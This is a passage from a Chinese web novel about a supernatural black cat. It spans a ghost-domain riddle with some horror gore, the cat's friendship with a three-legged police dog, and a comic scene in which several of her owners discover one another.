101房间的门也打开了。 死去崔明远站在门后面,表情阴沉,脸上浮现抹狞笑。 “糟了。”葛红侠拉起少女的手就往楼上跑。她以为这一晚只用面对苏乐童一个厉鬼,但回魂夜里,楼里的其他鬼也开始跟着暴动。 100的孕妇也是鬼吗? 崔明远记恨着她们那天不开门的仇,就算她们解释不开门是后面有鬼,他肯定也不会听。厉鬼本来就是神智不清,不讲道理的生物。 200门后响起指甲挠门声音。 301老太婆咒骂声格外刺耳怨毒…… 一层层跑上去,直到501的房间。葛红侠松了口气,501的女人看起来还是正常的。 她马上又意识到一件事,后背一阵发凉。 这么多鬼守在楼里,他们该怎么到一楼将答案填上? 但不管如何,现在已经无法再下楼了。随着一声巨响,温度骤降,阴寒之气在楼中逸散。 每一道楼梯上都有一根蜡烛。 这是501房的女人让他们点燃的,在她的故乡习俗里,蜡烛能引领人的魂魄回到家中。 “其实,”501女人叫赵银花,她把最后一根蜡烛点在自己家门口,“这件事我很早就想做了,不然他头七回到家,家里一个人都没有,有点太可怜了。也要谢谢你们,不然我真没胆子这样做。” 几个人都笑得很勉强。 他们知道,回魂的苏乐童肯定不会伤害赵银花,但指不定就一巴掌把他们的脑袋扇得呼啦啦转圈。 如果待在自己房间,锁好门窗,也许还有一丝微渺的可能挡住他,可他们现在都挤在501,敞开大门,等他过来,如果厉鬼失控,肯定会团灭。 夏鲸鱼握紧夏甜罗的手,莫若雨贴近葛红侠。 众人沉默等待着。 四周变得很安静,只有秒表转动时,发出的塔塔声。 “好安静啊……”夏鲸鱼敏锐察觉到什么,“好像有什么不同。” 葛红侠:“没有那个声音了。” 他们马上意识到她说的是什么,没有头在地上撞击,发出的令人毛骨悚然的“咚咚”声。 难道今夜苏乐童不回魂吗? 地上烛火无风自动,颜色变作幽绿。灯光不停闪烁,在楼梯上,慢慢出现一道瘦弱身影。 苏乐童身上穿着校服,身量还是个少年人,面孔稚气未脱。 他直勾勾望着门里,脸色略微苍白。 几个人乍然看见他的人样,反而有点不习惯,也明白为什么没有声音。 今晚他是走上来的,脑袋没有摔碎,身上也干干净净的。 赵银花身体瑟缩一下,本能往后面闪,但在几个人疯狂眼神暗示下,她还是鼓起勇气,站在门口,放柔声音,像往常那样,和少年说:“童童,你有什么心愿未了吗?” 苏乐童缓缓点了下头。 赵银花:“我那天说的话太重了……” 其实那次是因为苏乐童的父母找上门,不许她和孩子接触,可她不忍心说出实情,当着孩子的面抹黑他的亲人。 “对不起。”鬼魂轻声说。 赵银花微微一怔,“什么?” 苏乐童在微微颤抖,身上不停有血涌出,“对不起,姐姐,我辜负了你的期望。以前,我发过誓,要让姐姐过上更好的生活,可是再也做不到了。” 这是很久前小孩说的话,赵银花只当是小孩子的戏话,隔了好久,才想起来。她张了张嘴,声音有一丝不易察觉的哽咽,“这就是你未了的心愿吗?但是童童,我并没有把这句话放在心上啊……” 她忘记面前的是恶鬼,情不自禁走近一步,“姐姐只是希望你能快乐的活着,一直都是这样想的。对未来的希望,不该压在孩子身上啊。” 苏乐童眼角淌出血泪,嘴角上扬,露出个浅淡的笑容,“谢谢你,姐姐。如果你是我的妈妈,就好了。” 他的身影一点点透明,眼看就要消失,葛红侠大声问:“谁杀死了希望?” 苏乐童张了张嘴,却没能发出声音,身影便像烟雾一样淡去。 “结束了?”夏鲸鱼松了口气。 但声控灯突然又亮起,一道长长的影子被投射在了墙壁上。面孔惨白的崔明远走了上来,恶狠狠地盯着他们。 葛红侠连忙把哭瘫在地的赵银花拉回房间,刚关上门,下一秒,铁门被撞得猛地一晃。 “为什么不开门!为什么不肯救我?!” 崔明远撞击的力度很大,破旧的锁被撞得摇摇欲坠。 几个人挤成一团,瑟瑟发抖。 “我擦我擦,他变得好强,现在该怎么办?” “只能看喵喵大佬了!” ———— 小咪逼问完500男鬼,本来想直接出来,走到门口却听见门后传来崔明远的怒吼。 她转身来到窗户前,推开窗跳了出去。 这扇窗户本不存在在楼里,她刚钻出身体,窗台就变成笔直的墙壁。小咪轻巧地跳上旁边的窗台,在笔直墙壁上如履平地,轻松来到了楼底,从单元门回到大楼。 看眼门旁的问题,小咪继续往前走,她还要做最后的确认。 她来到101的家里,走到厨房,拿出一把刀。 100的孕妇还在喊着肚子好痛。 小咪走到她面前,不等她反应,一刀割开她的肚子。浑浊的羊水从割裂的肚皮喷涌而出,一股腐臭味在空气里弥漫。 一个浮肿苍白的婴儿随水流出,滚到小咪的脚下。 他身体被羊水泡得肿大,身体蜷缩着,一条发烂的脐带在婴儿的脖子上绕了一个圈,被他攥在掌心。 他握着母亲给予生命的脐带,就好像握着几十年后,结束自己生命的麻绳。 小咪想起男鬼说的话。 “如果早就知道,人生会是这样,我会在妈妈的肚子里,用脐带勒死我自己。” “啊啊啊!!!我的孩子!!!”女人捡回浮肿腐烂的婴儿,努力往自己肚子里塞,可羊水早被泡成了尸水,腐臭刺鼻,脐带一拿起来,就烂成两段。 她恶狠狠地看着小咪,“你害死了我的孩子!你害死我的希望!快把它还给我……” 小咪已经站在黑板前,心中有了答案。 她没有管扑来的女鬼,拿起最后两个字,填在空格处。 这个鬼域里,孩子就是希望。楼里有两个孩子,一个从高楼跃下,摔得粉身碎骨,一个选择拿起脐带,把自己勒死在母亲腹中。 答案显而易见。 希望杀死了希望。 第58章 黑背犬猛地跃起,流线型的肌肉绷紧,化作一道黑色残影,扑向奔跑的男人。缺少一臂也不影响奔跑,不到半分钟,就把男人扑倒,压在了身下,龇着牙,向来平和温顺的眼睛里露出凶光。 “啊啊啊!救命!警犬伤人了。” 男人倒在地上,吓得手舞足蹈乱喊。幸好此刻黑背戴着防咬嘴套,不然,他觉得自己的脖子已经被咬断了。 治安员们纷纷跑出,一看这场面,没有多说,马上把男人给按了下来。 赵铮铮面色严肃, “搜身,看他身上有没有什么危险物品。” 闪电受过训练, 发现危险才会发起攻击。而没有示警直接攻击, 说明它觉得男人特别危险。 她环顾一圈,鹰隼般的目光扫过四周,没发现什么异样,却在台阶看见了小咪。 小黑猫软软趴在阶梯上, 小脑袋躺在第一级台阶, 腿搭在第二级台阶, 姿势古怪, 像个黑色的毛绒娃娃。 赵铮铮的心悬了起来,快步走上前,“咪咪?” 小黑猫闭上眼睛, 毫无动静。 赵铮铮连忙握住它的爪爪,抖了抖,小猫的身体也跟着抖两下,柔软得不像话。 尸体在1-3个小时会出现尸僵,一天左右软化……治安队长脑子里开始闪过刑侦知识,她连忙摇头,把脑子里不好的念头晃去。 咪咪肯定没有事,他们听见闪电的声音也就几分钟的事,就算真有什么,至少也能再抢救一下! 她想给小猫做心肺复苏,却陷入为难——猫的心脏在哪里? 赵铮铮:算了,先来人工呼吸吧。 她低下头,脸慢慢凑近小猫,张开了嘴,然后……嘴里就多了一只毛绒绒的爪子。 “呸呸,”赵铮铮吐出嘴里的毛,擦擦嘴,“好家伙,原来你没事啊。” 小咪脑袋抬起一点,金眸睁开一条小缝,委屈大叫:“喵!” 猫睡得好好的。 人把猫摇醒,还对猫张开血盆大口。 它舔了舔自己的爪子。 赵铮铮无奈笑:“哪有睡成这样的,全身骨头都软了,我还以为你死了呢。” “队长,在他身上没发现危险物品。但发现了这个,很奇怪的东西。” 吉祥从男人手里抢过一截麻绳,绳子浸透尸水,发出刺鼻臭味。 赵铮铮手指碰了下,就感觉到上面传来的寒意。 她脸色一变,拨通了研究所的电话。 没过多久,萧向秦带着人赶到了治安局。 “这是一件污染物,不过已经被处理了。”萧向秦问:“你们进了鬼域?” 赵铮铮一脸茫然,“什么鬼域?没有啊。” “赵队,监控来了。” 他们调出治安局门口监控。在画面中,男人摇摇晃晃朝治安局走过来,趴在门口的黑背犬抬起头,朝它冲过去,小黑猫跟在后面。 男人吓得跌坐在地,说了句话,就爬起来回头往外跑,然后被黑背犬追上扑倒。 赵铮铮调慢了倍速,“它们消失了。” 虽然时间很短,但他们还是能看见,监控画面上的猫猫狗狗有一瞬消失在画面中。 萧向秦叹口气,没有说话,走到了治安局外面,摸向口袋里的烟盒。 还没点燃,烟又被猫爪拍到地上。 在睡觉的小黑猫不知什么时候跑过来,抬起头,很严肃地和他喵喵叫。 人,吸烟有害健康! 萧向秦嘴角很轻地扬了一下,认命把烟丢进垃圾桶,蹲下来,问:“是你进入了鬼域吗?” “喵!”小咪用头蹭他的手指,呜呜抱怨。 鬼域好费脑子,这对猫太不友好了。猫的生命里本来只有吃饭和睡觉,为什么要让猫用脑子? 闪电站在两米外,保持一定距离,警惕地打量着男人,这个距离能让它在小猫遇到意外时及时冲上去,又不必离陌生人太近。 萧向秦揉了揉小猫的脑袋,小咪顺势跳到他的身上,趴在他怀里,脑袋抵着人的臂弯,发出呼噜的响声。 “小明出去买东西时,注意到那个男人,当时他旁边还站着另外一个人。但小明没看清他的脸,监控上,他的脸也很模糊,无法辨认。” 萧向秦听见身后声音,“嗯”了一声,“污染物是别人给他的,多半是深渊那群疯子。他们也是能力者,会遮掩自己的脸。” “是咪咪救了我们吗?” “嗯。” 萧向秦下意识摸向口袋的烟,看着怀里打呼的小猫,慢慢把手缩回来,放在它被太阳晒得发烫的柔滑长毛上。 深渊素来是一群行事肆无忌惮的疯子,可到治安局搅事,还是头一回。是因为前阵子的交战,在向官方示威吗? 当然,还有另外一种可能。 他垂下眼睛,看着怀里呼呼大睡的小猫,眸光微沉——深渊是冲着小猫来的。 这确实是一只非常特殊,能力神奇的小猫。 被抓住的男人很快就招了。 他是个社会闲散人员,俗称二流子。来治安局是有人指使。 那人让他拿着上吊绳,来治安局,说出那句“我杀死了希望”。可他被突然蹿出来的狗子吓了一跳,提前将话说了出来。 除此之外,他什么也不知道。 不过这些和猫无关。这时候,小咪正趴在地上,专心看着地上一只蚂蚁爬过。闪电蹲在它的旁边,静静守着它。 治安局有一个小院子,栏杆周围种了一圈的树,再往外是一片绿化带。 小咪对探索领地格外感兴趣,观察一会蚂蚁,就在院子里翘起尾巴到处跑。跑到这棵树下,拿树根磨一磨爪子,爬上另外一棵树,吓跑一树的小鸟。 “呜呜……” 一道低沉的威胁声从绿化带里传来。 小咪扭头,在灌木丛里,看见了另外一只狸花猫。它紧盯着小咪,把咪当成入侵者,低低呜叫来警告小咪,还当着咪的面,很嚣张地在灌木里撒了一泡尿,还不埋! 又嚣张又没素质。 小咪马上呜呜回击。 突然之间,闪电冲了过来,朝绿化带中的猫汪汪叫。 狸花猫是混过社会的猫,知道惹不起治安局的退役大狗,连忙夹着尾巴扭头就跑了。 “汪呜。”闪电看着小黑猫,尾巴轻轻晃动,像在邀功。 但小黑猫跳了起来,给了它一巴掌。小咪气得朝闪电大叫:“喵喵喵!” 猫的事情,狗不要插手。 要是被别的猫知道,它靠狗才赶走入侵者,它丧彪怎么在道上混? 大黑背低下头,尾巴也垂了下来,沮丧地立着。 小咪骂了它几句,又抬起头,用头顶蹭蹭狗,“喵呜。” 算了,猫原谅你。 闪电失去了一条腿,走起路微跛,小咪就靠着它缺失的那条腿,在狗子的身体下面走。到了局子门口,闪电先趴下来,小咪再躺在它的身上,在黑背坚实可靠的背上打了个滚。 黑背低下头,轻轻给小咪舔着毛。 湿热的大舌头在小咪的头上舔来舔去,狗子呼出热烘烘的气萦绕不散,它眯起眼睛,耳朵敏感地抖动。 过了一会,小咪睁开眼,朝闪电“喵”了声,也给它舔了几口毛。 不过闪电太大了,猫的舌头太小,舔起来效率很低,小咪意识到这点,舔得比较敷衍,只是揍了狗子几拳,确认自己的老大地位后,就闭上眼睛让它服务了。 “闪电的状态好了很多。”玻璃门后,李小明悄悄观察着两只毛绒绒,对旁边吉祥说:“它一直以来情绪都不太对,我还发愁呢,结果我哄这么久都没用,咪咪一过来它就好了。” 吉祥拿着手机,给依偎在一起的两小只疯狂拍照。 阳光很好,小黑猫的毛漾起一层淡淡的金色,流光四溢,它靠在黑背的怀里,头枕着狗子完好的那条前臂,尾巴舒适地摇晃。黑背也和它一起躺下,却没有睡,耳朵时不时抖动一下,机警地听着四方动静,静静守护小猫。 吉祥声音不自觉放轻,“那当然啦,咪咪是咪咪,你是无毛恐怖直立猿,怎么能妄想和咪咪比。喏,你看。”她拉着李小明,给他看刚拍的照片。 猫猫狗狗贴在一起走。小黑猫主动钻到黑背的身下,在它截断的前肢下面走,补齐它残缺的部分。 “咱们的断腿警官,等到它的喵喵拐杖。”吉祥弯起嘴角,小声说。 “下次拍宣传片试着吧闪电也拉上吧,有咪咪在,它肯定也会乐意。” 吉祥:“为什么要下次?这次我就要把它塞进去。” …… 萧向秦拎着个猫包过来的。 包是粉红色的,和他的气质很不相称。他打开包,小咪自觉地跑了进去,缩在包里睡觉。 赵铮铮他们把人送到门口,闪电也一瘸一拐地跟在后面,眼巴巴看着包里的小猫。 猫包有一个圆形透明罩,可以让人能看见里面的猫。但对他们来说并不容易,无论怎么看,透明罩里都是一团乌漆嘛黑。 “明天能把咪咪再带过来吗?”吉祥问。 萧向秦皱了下眉,“还没拍完?” 他面孔雪白,眉眼浓黑,俊美又冰冷,像一座冰山,淡淡扫来的冷冽眼神让小治安员缩了缩脖子,躲在自家队长身后。 赵铮铮护犊子,把女孩护住,“就借一下小猫嘛,你看小猫小狗玩得这么好,让它们多交流下感情,我可以直接开车过去接,我瞧老爷子也挺乐意送咪咪来的。” “不,”萧向秦直接拒绝,“接下来这阵子它都不会来了。你可以把狗子送过去陪它玩。” 闪电咧开嘴,吐出舌头,尾巴欢快地摇了摇。 “为什么啊?” 萧向秦长腿跨出治安局,回头看着她,“猫不需要天天上班。” 第59章 一栋高层办公楼里,葛红侠戴上耳机,认真看着视频。 莫若雨将上次的经历投给了一位知名恐怖博主,视频热度不低,大部分人都在说“编得挺好”“好耶,又有睡前故事可以听了”“还蛮有教育意义的咧”。 在这些评论里,她们发现了一条比较干的评论, 提到了鬼域之类的词。这不妥妥的大佬。 莫若雨加上了大佬的企鹅号,发了一段请教的话,但大佬高冷地到晚上十点才回复。 “关键在那只黑猫身上。”大佬说。 “黑猫?”莫若雨想起那只不知从哪里冒出来,又突然消失的神秘黑猫。在鬼域里,小黑猫可帮了他们大忙。 “但猫猫好像是一个女孩养的。” “no——你知道最古老的神话里,有一位叫巴斯泰托的猫女神吗?” “那好像是外国神话吧?” “猫女神在人间的游走的形象也是只黑猫。” “你是说……那只小黑猫是!” “我们猜测,猫猫才是豢养了人类的主子,它也是暗世界的守护神, 对了,你要加入我们教吗?” 莫若雨都惊了, “什么,还有一个教?” 大佬把她拉进了一个群里, 群头像是只金瞳玄猫,群名称叫拥护猫猫神教。群里人数不多,群主就是叶子头像的大佬, 其他几个人分别是社会我虎哥、四目老师、檀香炉、荆棘、好大一条鲸鱼、好大一只田螺。 看着后面两个网友的id,莫若雨嘴角微抽,总觉得他们应该是熟人。 “太好了, ”叶子说:“咱们神教终于有八个人了!” 社会我虎哥:“让我们高呼我们的口号。” “【口令红包】圣火昭昭,圣光耀耀,凡我弟子, 喵喵喵喵!” “……喵喵喵喵!” 莫若雨:……这个喵喵神教,它正经吗? “主管,”她问葛红侠,“你要加入吗?虽然没有猫猫,但红包发得很多!” 葛红侠:“那就加、加吧?” 群里都是鬼域里被猫猫救过的人,自发成为猫猫神教的忠实教徒。在知道世界上的可怕真相后,他们在凝视深渊的恐惧,和被深渊凝视的疯狂中,选择了第三条路——信教。群里的人精神状态都非常美丽,社会我虎哥的红包发得更是非常慷慨。 莫若雨在点开虎哥红包的时候,就知道这个教她是信定了。 小咪根本不知道自己又多了几个信徒。 新挖出的古墓疑似和寐城遗址有关。薛静秋被请过去做专家,张云帆也被邀请,但他拒绝了,“好歹要有个人留在家里照顾孩子吧。” 没有奶奶在家,张云帆乐呵呵骑着小电轮,天天带小咪去公园。也不是别的,就是炫耀。 知道老张家里有只被收编的猫后,公园几个天团都对小咪表现出浓厚的兴趣。 小咪刚到公园,就被五颜六色的嬢嬢围住,她们一个个打扮时髦,穿得很漂亮,爱不释手地摸着猫的脑袋,“难怪能进体制里了,这小猫,越看越稀罕。” 这是广场舞天团。 之后又是穿白色长衣长裤,荷叶领,系盘扣的老头。 他们是太极天团。 张云帆也是太极团里一名干将,看见老伙计走过来,下巴翘得快上了天。那位总炫耀自家儿子的老余头也不嘚瑟了,一脚踹在自家傻狗的屁股上,骂道:“瞧你那傻样,看看人家,一只猫都能进编制了,你怎么不能去当个警犬?” 静静仰天叫:“嗷呜嗷呜。” 尾巴晃得更欢快了。 嬢嬢们为小咪带来了各色各样的美食,张云帆带的猫罐头都没开,小猫就已经在贡品里挑挑选选,把肚子吃得圆滚滚的了。 猫不会胡吃海塞,觉得吃得差不多,就翘起尾巴跑到树荫下睡觉,剩下的食物让静静大舌头一卷,风卷残云穷凶极饿地干完。 余老头捂脸,一点都不想看自己家狗的傻样。 公园本来就有很多流浪的猫猫,嬢嬢们的常年投喂,让这群猫猫变得温和,同时本性依旧保持了流浪猫的野性和警惕。 几只猫猫头从翠绿的草丛冒出来,鬼鬼祟祟打量着小咪。 小咪趴在爷爷身边,感受到同伴的注意,朝它们叫一声。流浪猫不敢靠近,于是它跳了下来,跑到灌木丛前,歪头看着它们。 公园流浪猫帮派的老大是只橘猫,目光交汇,大橘猫伏低身体,眼神凶狠。 作为一只常年镇守公园的大将军,它的战斗力远不是小咪的橘咪手下可以碰瓷的,鼻子上几条结痂的疤,是它的勋章。 眼看有场恶战。 小咪回头,跑到爷爷身边,选了条嬢嬢投喂的鸡腿,叼着腿跑到灌木丛前。 橘猫舔了舔自己的鼻子。 小咪把鸡腿丢在地上,橘猫犹豫了半分钟就蹿出来,叼起鸡腿钻回草丛,吃得嗷嗷大叫。一条腿吃完,小咪不耗一刀一枪一根毛,只用几块肉,就收买了这个流浪猫帮派。 它和几只猫一起躺在草丛上,互相给对方舔毛,有只彩色狸花跑到小咪面前,优雅地拉伸身体,用头来蹭它的脸。 小咪耳朵抖了几下,闻见空气里躁动的气味,又扭头看着躁动不安的公猫,明白了怎么回事。 彩狸好像把咪当成了一只公猫。 小咪一身毛发油光水滑,在阳光下闪着金光,它骨架本来就大,身材健康,蓬松的长毛让它更显得威武,比旁边的橘猫都大一圈。 彩狸对着小咪翘起屁股,回头,眼神热辣地盯着小咪。 彩狸是公园一枝花,释放的信息素让其他公猫们都蠢蠢欲动。公猫在旁边打架,打得猫毛乱飞,喵呜乱叫,那只大橘猫打赢了对手,仰起头颅,尾巴翘直,骄傲又自信地来到彩狸面前。 “呜呜。”彩狸一巴掌扇在橘猫脸上,把它打蒙了。 猫中女神翘着尾巴绕小咪走,几乎要贴在它的身上。大橘猫跟在它后面,殷勤地嗅彩狸的菊花。 小咪:…… 告辞。 小咪扭过头跑出草坪,钻过灌木丛,顶着几片绿叶,回到爷爷身边。它把自己盘成一个圆圈,睡在爷爷的腿上。 张云帆一边和朋友,一边悄悄把手塞进小猫柔软的肚子上。猫把自己团起来后,撸猫的手塞进去就仿佛陷进肉里,马上被柔软滚热的小肚子包裹了。 老伙计们投来羡慕的目光,还有的想来偷摸一把,被张云帆赶苍蝇一样赶走了。 去去去,他家福娃在睡觉呢。 傍晚的时候,小咪回到另一个家,发现公寓楼下多了辆治安车。 来的是个熟人。李小明站在走廊里,旁边站着另外一个朴素的汗衫老头。老头腰间挂着一大串钥匙,试着打开门。 他是这栋公寓的房东,联系不上租客,选择了报警。 “他都有半个多月没交房租,您才发现啊?” 房东:“哎,租客太多了嘛,幸好我闺女帮我翻了翻手机,不然过半年我也不一定知道。” 李小明看着他手里那一大串钥匙,不争气的眼泪从口水流了出来。 小咪悄悄藏在走廊随意摆放的一个塑料圆凳下面,也没有怎么藏,但没人发现它。它静静看着两个人打开门,也从凳子下跑出来,跟了进去。 一进屋子,李小明就打个哆嗦,冷得一激灵。 “啪!” 开关打开,白昼灯的灯光照亮这间简单的房子。墙壁大片大片脱皮,木地板爬满青绿色霉菌。 房东忍不住骂:“造孽啊,把我好好的房子糟蹋成这个样子了,难怪不敢回我消息了。” 李小明松了口气,这场景他见多了,“没死人就好,你这房子怎么这样呢?漏水啦?” 房东连忙跑到卫生间检查排水。李小明出于责任心,踏进这间湿漉漉的房间,刚走入这栋公寓,他就觉得不太对劲,有点太阴冷潮湿了。 红竹市最近天气一直很潮,回南天变得格外漫长。最开始他也没往心里去,以为是老破楼采光不好。 但这间房子比其他地方更潮湿,就像浸透在水里,四处都在发霉,呼吸一口空气,他都觉得自己肺里要长霉菌了。 李小明捏住鼻子,翻了翻住户的东西。 笔记本电脑放在桌子上,如果是匆匆搬走,应该把这些重要物品也带走。 他心头警铃大作,觉得是失踪案的可能性很高,又在一件发霉的外套上,发现了租户的工作证。工牌外面套着层塑料膜,没有生长霉菌,上面文字写着他的名字和职位。 高闯,庆康制药研究员。 李小明:“得,又要忙了。” 他扭过头,来到沙发,灰白色的布艺沙发,滴水就会晕开很明显的湿痕。而他面前的沙发,就有一道这样的痕迹,人形的,还在往外渗水。 李小明想象了下,一个湿漉漉的人躺在沙发上的场景,头发有些发麻,脖子后面发凉。 小咪站在李小明身后,尾巴也炸开毛。它抬起头,金色的瞳孔里映出道惨白的人影。 男人踩在天花板上,倒悬着,身体湿漉,苍白面孔对准李小明的后颈,慢慢往他脖子吹气。 “太怪了。”李小明冻得打了个哆嗦,还没反应过来,肩膀上就一沉,毛绒绒的尾巴从自己眼前拂过。 “喵呜——”小咪跳上人的肩膀,一巴掌把鬼影扇走。 “哪里来的猫?”李小明被吓了一跳,等和小咪面对面后,瞪大了眼睛,“咪咪?” “喵!” 身上那股被水汽冻僵的阴寒感减少许多,李小明抱着猫往外走,招呼房东先离开。小咪从他口袋里掏出手机,爪爪在手机界面上点几下,打出愚公小队的号码。 李小明惊了,“咪咪,你也太神了吧,神兽啊。” 得知公寓有灵异事件,愚公小队在赶来的路上。李小明在走廊站着总觉得瘆得慌,抱着猫,招呼房东先去外面待着,吸收点阳气。 走到电梯口,电梯门正好打开,一个拎着猫包的年轻女孩正好走出来。 她正在和别人打电话,“突然接个二胎回去,我怕我家咪咪不习惯,要是它应激了,我就把小三花再在医院里养几天,你帮我多照顾它。” 小咪一听到这个声音,连忙往李小明的臂弯里钻,想把脸给藏起来。 李小明:“怎么啦咪咪?” 在打电话的赵佳怡听见“咪咪”两个字,下意识瞥了眼。 好熟悉的黑猫,还是长毛呢。嗯? “啊啊啊偷猫贼!”她抓起背包就往李小明身上丢,“快把我的猫放下来,再不放我报警了啊!!!” 李小明吓一跳,“等等,你的猫?” 赵佳怡理直气壮,“不然呢?” 长得这么可爱的长毛金瞳玄猫,除了她家小咪,还有谁? 李小明解释:“女士,你认错了,这不是你的猫。” 天下黑猫一般黑,如果早一点遇到赵佳怡,他会觉得是自己认错了。可刚才咪咪还当着他的面按了愚公小队的号码,也不能是哪只猫都知道打电话吧。 两个人都觉得猫是自己的,小咪把脸藏在李小明怀里,尾巴心虚地摇。 赵佳怡:“小咪,小咪?” 小咪耳朵抖了抖,尾巴快速地晃动两下。 “你看,小咪答应我了,它是我的猫,你再这样,我就报警了啊!” 李小明叹口气,和她亮出自己的工作证,“我就是治安员。” 赵佳怡瞪大眼睛,“那你还偷我的猫,我要举报你。” 李小明:“你说它是你的猫,有证据吗?” “当然!”赵佳怡拿出手机,翻开相册,她手机里三分之二的照片视频都和小猫有关,小猫刨门、小猫游戏、小猫舔毛、小猫睡觉…… 一张张照片都能证明这是她的猫。 李小明也拿出自己的证据,前几天用小咪当模特,拍的宣传片。 “这只猫是很像小咪,”赵佳怡脑子乱了起来,“但是、但是……” 李小明是个受过训练的治安员,看看她手机照片,再看看怀里这只猫,“女士,我们不如先下去找个地方聊一下吧,关于,它到底有多少主人。” 赵佳怡拎着猫包,呆呆跟在他后面,脑袋一片空白。 猫包里装着做完绝育手术的三花猫。她在宠物医院,觉得这只小猫又娇又可怜,忍不住把它带回家。 但担心家里小咪应激,不接受二胎,她和小谢医生说好了,可以先把三花接回来观察一下,没有办法养再送去医院。 现在,猫没应激。 人要应激了。 “小咪,小咪……”赵佳怡幽怨地盯着黑猫晃来晃去的尾巴,“你怎么不敢抬头看我?” 很快,夏炫也来到茶室,坐在桌子另一边,表情古怪地看着女孩。 小咪趴在桌子上面,把脸埋在爪爪下,假装自己在睡觉。 赵佳怡:“你们都是咪咪的主人?” 夏炫:“准确来讲,是它的奴才。” 小咪尾巴晃了一下。 四方桌子,小黑猫坐在最中间,东西南都坐着人。感受到三道锐利的目光聚在自己身上,小咪浑身不自在,小脑袋转得飞快,努力思考该怎么办。 “那个,”夏炫挠了挠头,“我们一直以为咪咪是我老师的猫,我老师也住在嘉木新村。之后发生了很多事情,现在咪咪,呃……是我们研究所和治安局的神兽。” 赵佳怡委屈地说:“你们都没征得我的同意。” 夏炫:“主要也不知道它居然还有一个铲屎官嘛。” 赵佳怡一时无话可说,低头看着桌上的小黑猫,心情非常复杂。她自己都没考上编,结果,猫拿了双份编制。 突然觉得小猫好陌生。 “咪咪,”她用手指戳小咪的耳朵,戳一下,毛绒绒的耳朵就敏感地抖动一下,“你真有出息啊。” “对了,”夏炫起身拉开门,迎接老师,“这是我老师,也是咪咪另外一位铲屎官。” 桌子的最后一条边补齐了。 张云帆喝了口茶,“它叫福娃。” 赵佳怡:“它叫小咪。” 张云帆笑了下,“我们也经常喊它咪咪。我是去年初春那一会认识咪咪的,当时我们老两口在家里做饭,咪咪闻见香气,从窗户缝里钻进来朝我们叫。” 赵佳怡回忆过去,露出微笑,“我要早一点,前年冬天,它在地上晒太阳,被我抱回家里。”她捏捏猫的爪子,“我家里门窗都关好了的,它怎么跑出去的?” “咪咪很会开锁。”夏炫作证。 赵佳怡突然意识到,小谢医生口里那个会开密码锁的咪博士,不会是她家小咪吧? 对面几个人都表情都很自然,好像已经习惯小咪拥有这么多主人,她脑子里乱糟糟的,努力说服自己当一个大肚的铲屎官。 她想给猫接二胎,她为什么不能是猫的二胎呢? 她遇到小咪的时间最早,按理来说,应该算大房了。 现在有这么多人和她竞争当铲屎官,如果不大度一点,会被猫嫌弃的。 赵佳怡东想西想,表情恍惚。 桌上的小猫咪悄悄抬起脸,歪头蹭蹭她的手,“咪呜——” 赵佳怡被这一声叫得心软,马上反应过来,“这一招你对多少人用过?” 小咪心虚地舔了舔爪子,转过身,拿屁股对着人,可一抬头,就对上爷爷似笑非笑的目光。 小咪又换了个方向,不管怎么换,总要面对一个人。 它只好低下头,假装很忙地在舔毛。 赵佳怡幻视小黑猫长出无数条触手,变成一只八爪猫,这条触手上吊着一个人,那条触手上吊着一个人。她本来以为自己是猫猫独一无二的铲屎官,现在才知道,自己是海后海洋里的一条小鱼。 呵,人类,猫咪的玩物罢了。 “咪咪很厉害,”夏炫摸摸小猫的脑袋,朝她笑着说:“帮了我们很多忙,现在咱们所里已经离不开它啦。” “对对对,”李小明附和,“我们局发的宣传视频你看了吗?小咪一出场,视频就爆了,现在它有几万个粉丝,都在喊它黑猫警长呢。还有我们局的狗子,只有咪咪在才恢复活力,没咪咪是一点都不行了。” 张云帆:“我早就把它当成自己家的孩子。” 赵佳怡听见小猫这么有出息,不由也高兴起来。她暗暗说服自己,要当个大度点的铲屎官,人可以养很多只猫,反过来,猫养很多个人类,也没什么问题嘛。 她幽幽叹口气,“其实我早就有心理准备,有一天晚上,咪咪身上多了这个,”手指拨开小咪胸前的长毛,拿起那条金项链,“这是你们给它戴的吧。” 张云帆看向夏炫,夏炫看向李小明,李小明挠挠头,“啊?” 不是你? 也不是你? 那是谁? 没有人说话,震惊的眼神足以无声表演一出默剧。 赵佳怡不可置信地看着疯狂舔毛的小猫,终于忍不住,抱住头,发出土拨鼠尖锐爆鸣。 “啊啊啊啊啊啊!!!!” 第60章 小咪很忙碌地舔毛, 长满倒刺的小舌头把胸口的毛舔乱,再舔顺,舔得长毛湿漉漉一片。 “小咪。” 赵佳怡的声音低下来。 小咪耳朵一抖, 换了个方向继续舔毛,假装没有听见,只用余光偷偷瞄了眼女孩。 赵佳怡:“别装了, 我看见你的眼睛都转过来了。” 小咪耳朵又抖了两下,低下头,继续舔舔舔,边舔边咬,努力做清洁工作。 绝对不是因为心虚。 赵佳怡:“你都把毛正着反着舔好多次了。” 小咪眼看没法蒙混过关,“喵呜”一声,跳到她的膝盖上,爪爪抱着女孩的手臂,把头贴在她的胸口,“咪呜。” 赵佳怡:…… 啊啊啊它好会! ! ! 小咪哄好一个铲屎官, 又跳到桌子上, 到爷爷的面前, 用头蹭了蹭张云帆的脸。 柔软的小脑袋先贴着他的左脸颊,再蹭过下巴,贴到右脸颊,小猫身上像麦穗香甜的味道填满了鼻腔。 听见像发动机一样的呼噜声, 张云帆拿手挠挠它的头顶。 “呼噜呼噜——” 更响亮了。 “真有你的, 福娃, 我们本来以为你是当街头老大去了。” 没想到在外面还有一个家。 不对,几个家。 赵佳怡的脸垮了下来,好家伙, 果然小猫对谁撒娇都很会,直接把人类拿捏的死死的。 多亏了咪咪,她有了官方的人脉。 猫脉。 赵佳怡如是安慰自己。 小咪蹭完爷爷,一抬头,对上夏炫炽热的眼神。 夏炫嘴角忍不住往上扬,眼睛弯起,在等猫临幸他。他排第三没问题吧,肯定在李小明的前面。 小咪头一扭,继续趴在桌子上,躺着睡觉,大尾巴甩动。 夏炫被几根毛临幸了。 他捏掉脸上的毛,叹了口气。 两个人来这里是有正事,在四方会谈后,张云帆继续在茶室喝茶,其他几人一猫坐着电梯来到4楼。 赵佳怡抱着猫好奇地往门里看,“他怎么了?前阵子我老是看见他在擦地,说地太潮了。” 夏炫笑着说:“十成是死了。” 赵佳怡吓得“阿”一声,连忙缩回脑袋,回到自己房间,关上了门。 小咪在门边喵喵叫,用爪子挠门,想要出去看看。 赵佳怡:“哼,我重要还是他们重要?” 小咪尾巴垂了下来。 “当着我这个大房的面,你能不能别去勾搭其他小蹄子,面子都不愿意装,你这个渣猫!” 